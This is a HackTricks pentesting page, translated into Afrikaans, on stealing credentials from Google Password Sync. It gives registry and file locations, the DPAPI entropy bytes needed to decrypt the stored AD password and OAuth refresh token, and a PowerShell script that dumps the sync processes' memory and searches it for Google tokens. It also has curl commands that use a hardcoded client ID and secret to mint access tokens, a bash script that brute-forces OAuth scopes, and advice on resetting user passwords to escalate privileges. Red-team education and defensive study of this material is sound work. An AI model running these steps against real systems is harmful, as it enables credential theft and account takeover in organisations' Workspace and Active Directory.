# GPS - Google Password Sync

{{#include ../../../banners/hacktricks-training.md}}

## Basiese Inligting

Dit is die binêre en diens wat Google bied om die **wagwoorde van die gebruikers tussen die AD** en Workspace **gesinkroniseer** te hou. Elke keer as 'n gebruiker sy wagwoord in die AD verander, word dit na Google gestel.

Dit word geïnstalleer in `C:\Program Files\Google\Password Sync` waar jy die binêre `PasswordSync.exe` kan vind om dit te konfigureer en `password_sync_service.exe` (die diens wat sal voortgaan om te loop).

### GPS - Konfigurasie

Om hierdie binêre (en diens) te konfigureer, is dit nodig om **toegang te gee aan 'n Super Admin-prinsipaal in Workspace**:

- Teken in via **OAuth** met Google en dan sal dit **'n token in die register (geënkripteer) stoor**
- Slegs beskikbaar in Domein Beheerders met GUI
- Gee 'n paar **Diensrekening kredensiale van GCP** (json-lêer) met regte om **die Workspace gebruikers te bestuur**
- Baie slegte idee aangesien daardie kredensiale nooit verval nie en misbruik kan word
- Baie slegte idee om 'n SA toegang oor workspace te gee aangesien die SA in GCP gecompromitteer kan word en dit moontlik sal wees om na Workspace te pivot
- Google vereis dit vir domein beheer sonder GUI
- Hierdie kredensiale word ook in die register gestoor

Ten opsigte van AD, is dit moontlik om aan te dui om die huidige **aansoek konteks, anoniem of 'n spesifieke kredensiaal** te gebruik. As die kredensiaal opsie gekies word, word die **gebruikersnaam** in 'n lêer in die **skyf** gestoor en die **wagwoord** is **geënkripteer** en in die **register** gestoor.

### GPS - Dumping wagwoord en token van skyf

> [!TIP]
> Let daarop dat [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in staat is om **GPS** te detecteer, inligting oor die konfigurasie te verkry en **selfs die wagwoord en token te dekripteer**.

In die lêer **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** is dit moontlik om 'n deel van die konfigurasie soos die **`baseDN`** van die AD wat geconfigureer is en die **`gebruikersnaam`** wie se kredensiale gebruik word, te vind.

In die register **`HKLM\Software\Google\Google Apps Password Sync`** is dit moontlik om die **geënkripteerde verfrissing token** en die **geënkripteerde wagwoord** vir die AD gebruiker (indien enige) te vind. Boonop, as daar in plaas van 'n token, 'n paar **SA kredensiale** gebruik word, is dit ook moontlik om daardie geënkripteerde in daardie register adres te vind. Die **waardes** binne hierdie register is slegs **toeganklik** deur **Administrators**.

Die geënkripteerde **wagwoord** (indien enige) is binne die sleutel **`ADPassword`** en is geënkripteer met behulp van die **`CryptProtectData`** API. Om dit te dekripteer, moet jy dieselfde gebruiker wees as die een wat die wagwoord sinkronisasie geconfigureer het en hierdie **entropie** gebruik wanneer jy die **`CryptUnprotectData`** gebruik: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`

Die geënkripteerde token (indien enige) is binne die sleutel **`AuthToken`** en is geënkripteer met behulp van die **`CryptProtectData`** API. Om dit te dekripteer, moet jy dieselfde gebruiker wees as die een wat die wagwoord sinkronisasie geconfigureer het en hierdie **entropie** gebruik wanneer jy die **`CryptUnprotectData`** gebruik: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Boonop, dit is ook gekodeer met base32hex met die woordeboek **`0123456789abcdefghijklmnopqrstv`**.

Die entropie waardes is gevind deur die hulpmiddel te gebruik. Dit is geconfigureer om die oproepe na **`CryptUnprotectData`** en **`CryptProtectData`** te monitor en toe is die hulpmiddel gebruik om `PasswordSync.exe` te begin en te monitor wat die geconfigureerde wagwoord en auth token aan die begin sal dekripteer en die hulpmiddel sal **die waardes vir die entropie wat gebruik is** in beide gevalle wys:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>

Let daarop dat dit ook moontlik is om die **geënikteerde** waardes in die invoer of uitvoer van die oproepe na hierdie API's te sien (in geval Winpeas op 'n stadium ophou werk).

In die geval dat die Password Sync **geconfigureer is met SA kredensiale**, sal dit ook in sleutels binne die register **`HKLM\Software\Google\Google Apps Password Sync`** gestoor word.

### GPS - Dumping tokens van geheue

Net soos met GCPW, is dit moontlik om die geheue van die proses van die `PasswordSync.exe` en die `password_sync_service.exe` prosesse te dump en jy sal in staat wees om verfris en toegang tokens te vind (indien hulle reeds gegenereer is).\
Ek vermoed jy kan ook die AD geconfigureerde kredensiale vind.

<details>

<summary>Dump <code>PasswordSync.exe</code> en die <code>password_sync_service.exe</code> prosesse en soek tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}
```
</details>

### GPS - Genereer toegangstokens vanaf herlaa tokens

Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliënt geheim wat in die volgende opdrag gespesifiseer is:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Skoppe

> [!NOTE]
> Let daarop dat dit, selfs met 'n verfrissings-token, nie moontlik is om enige skop vir die toegangstoken aan te vra nie, aangesien jy slegs die **skoppe wat deur die toepassing ondersteun word waar jy die toegangstoken genereer** kan aan vra.
>
> Ook, die verfrissings-token is nie geldig in elke toepassing nie.

Standaard sal GPS nie as die gebruiker toegang hê tot elke moontlike OAuth-skop nie, so deur die volgende skrip te gebruik, kan ons die skoppe vind wat met die `refresh_token` gebruik kan word om 'n `access_token` te genereer:

<details>

<summary>Bash-skrip om skoppe te brute-force</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

En dit is die uitvoer wat ek op die tyd van skryf gekry het:
```
https://www.googleapis.com/auth/admin.directory.user
```
Wat dieselfde is as wat jy kry as jy geen omvang aandui nie.

> [!CAUTION]
> Met hierdie omvang kan jy **die wagwoord van 'n bestaande gebruiker wysig om voorregte te verhoog**.

{{#include ../../../banners/hacktricks-training.md}}
